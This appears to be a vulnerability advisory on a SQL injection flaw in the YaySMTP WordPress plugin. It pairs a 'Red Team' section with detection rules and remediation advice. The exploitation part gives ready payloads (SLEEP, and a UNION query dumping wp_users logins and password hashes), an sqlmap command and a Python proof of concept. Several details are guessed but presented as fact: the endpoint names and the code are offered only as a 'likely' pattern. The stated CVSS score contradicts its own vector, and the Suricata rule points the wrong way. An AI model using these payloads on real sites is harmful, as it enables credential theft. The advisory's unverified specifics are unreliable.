CVE-2025-48301

Executive Summary

CVE-2025-48301 is a critical SQL Injection vulnerability discovered in the YayCommerce SMTP for SendGrid – YaySMTP WordPress plugin (versions <= 1.5). This flaw allows an unauthenticated attacker to inject arbitrary SQL commands into the plugin's database queries, potentially leading to complete data exfiltration, modification, or deletion of the WordPress database. The vulnerability resides in the improper neutralization of special elements used in an SQL command. Given the plugin's role in handling email delivery, the attack surface is broad, and exploitation could compromise sensitive user data, credentials, and site configuration. As of this report, no official patch has been released, and no public exploit code is available, but the risk remains high due to the plugin's widespread use.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is elevated because:

• No patch available: Users cannot update to a secure version, leaving all installations vulnerable.
• Widespread adoption: The plugin is used by many WordPress sites for SendGrid email integration, increasing the potential blast radius.
• No known workaround: Without a patch, site administrators must consider disabling the plugin entirely, which may disrupt email services.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via database corruption.

Threat Level: Critical. The combination of unauthenticated remote exploitation, high impact, and no available patch makes this a top priority for remediation.

Deep Dive & Mechanics

The vulnerability exists in the YaySMTP plugin's handling of user-supplied input within SQL queries. Specifically, the plugin fails to sanitize or parameterize input passed to SQL statements, allowing an attacker to inject malicious SQL code. The injection point is likely in a parameter used for filtering or searching logs, settings, or email records.

Attack Vector: An attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., an AJAX action or admin-ajax.php handler) containing SQL injection payloads in parameters such as id, search, or order. The plugin then directly concatenates this input into an SQL query without proper escaping or prepared statements.

Example vulnerable code pattern:

$id = $_GET['id'];
$query = "SELECT * FROM wp_yaysmtp_logs WHERE id = $id";
$result = $wpdb->get_results($query);

Exploitation Impact:

• Data Exfiltration: Extract user credentials, email logs, and configuration data.
• Privilege Escalation: Modify user roles or create admin accounts.
• Persistence: Inject malicious JavaScript or backdoors into the database.
• Lateral Movement: Use database access to pivot to other services.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.5):

// No input sanitization
$id = $_POST['id'];
$wpdb->query("DELETE FROM {$wpdb->prefix}yaysmtp_logs WHERE id = $id");

Patched Code (Hypothetical):

// Use prepared statements
$id = intval($_POST['id']);
$wpdb->delete(
    "{$wpdb->prefix}yaysmtp_logs",
    array('id' => $id),
    array('%d')
);

Key Differences:

• The vulnerable version directly interpolates user input into SQL queries.
• The patched version uses $wpdb->delete() with proper parameterization and type casting.
• The patched version also validates input as an integer, preventing injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with YaySMTP plugin version <= 1.5 installed and activated.
• Network access to the WordPress admin-ajax.php endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web proxy to intercept requests from the YaySMTP plugin's admin interface. Look for AJAX actions like yaysmtp_delete_log or yaysmtp_search.
2. Craft the injection payload: For a time-based blind SQL injection, use:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=yaysmtp_delete_log&id=1 OR SLEEP(5)
   

3. Extract data: Use UNION-based injection to retrieve data:

   id=1 UNION SELECT user_login, user_pass FROM wp_users--
   

4. Automate with SQLMap:

   sqlmap -u "http://target/wp-admin/admin-ajax.php" --data="action=yaysmtp_delete_log&id=1" --batch --dbs
   

Proof of Concept (No public exploit available):

import requests

target = "http://target/wp-admin/admin-ajax.php"
payload = "1 UNION SELECT user_login, user_pass FROM wp_users--"
data = {"action": "yaysmtp_delete_log", "id": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual SQL error messages in WordPress debug logs.
• Look for HTTP requests to admin-ajax.php with suspicious parameters containing SQL keywords (e.g., UNION, SELECT, SLEEP).
• Use WAF rules to block common SQL injection patterns.

Defense:

• Immediate: Disable the YaySMTP plugin until a patch is available.
• Alternative: Use a different SMTP plugin (e.g., WP Mail SMTP, Easy WP SMTP).
• Hardening: Implement a Web Application Firewall (WAF) with SQL injection rules.
• Monitoring: Enable WordPress audit logging to track plugin activity.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with parameters containing SQL keywords.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound database connections from the web server to unknown IPs.

File IOCs:

• Modified plugin files in /wp-content/plugins/smtp-sendgrid/.
• Suspicious entries in WordPress database tables (e.g., wp_options, wp_users).

Log IOCs:

• WordPress debug log entries showing SQL errors.
• Web server access logs with admin-ajax.php requests containing UNION, SELECT, or SLEEP.

Detection Engineering

YARA Rule

rule CVE_2025_48301_YaySMTP_SQLi {
    meta:
        description = "Detects SQL injection attempts against YaySMTP plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48301"
    strings:
        $s1 = "yaysmtp_delete_log" nocase
        $s2 = "yaysmtp_search" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "SLEEP" nocase
        $s6 = "admin-ajax.php" nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5) and $s6
}

Sigma Rule

title: SQL Injection Attempt Against YaySMTP Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the YaySMTP WordPress plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48301
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=yaysmtp'
            - 'id='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'SLEEP'
        - 'OR 1=1'
    condition: selection and keywords
falsepositives:
    - Legitimate plugin functionality with similar parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-48301 YaySMTP SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=yaysmtp"; http_client_body;
    content:"id="; http_client_body;
    pcre:"/(UNION|SELECT|SLEEP|OR\s+1=1)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2025-48301;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the YaySMTP plugin from all WordPress installations.
2. Switch to an alternative: Use a patched SMTP plugin such as WP Mail SMTP or Post SMTP.
3. Audit database: Check for unauthorized changes to user accounts, options, and posts.

Long-term Fix:

• Vendor patch: Await an official update from YayCommerce. Monitor their changelog for version 1.6 or higher.
• Code review: If you have development resources, apply input sanitization and prepared statements to the plugin's SQL queries.

Compensating Controls:

• WAF: Deploy a Web Application Firewall with SQL injection rules (e.g., ModSecurity with OWASP CRS).
• Database hardening: Use a database user with minimal privileges for the WordPress application.
• Monitoring: Enable detailed logging for all database queries and web requests.

Valters IT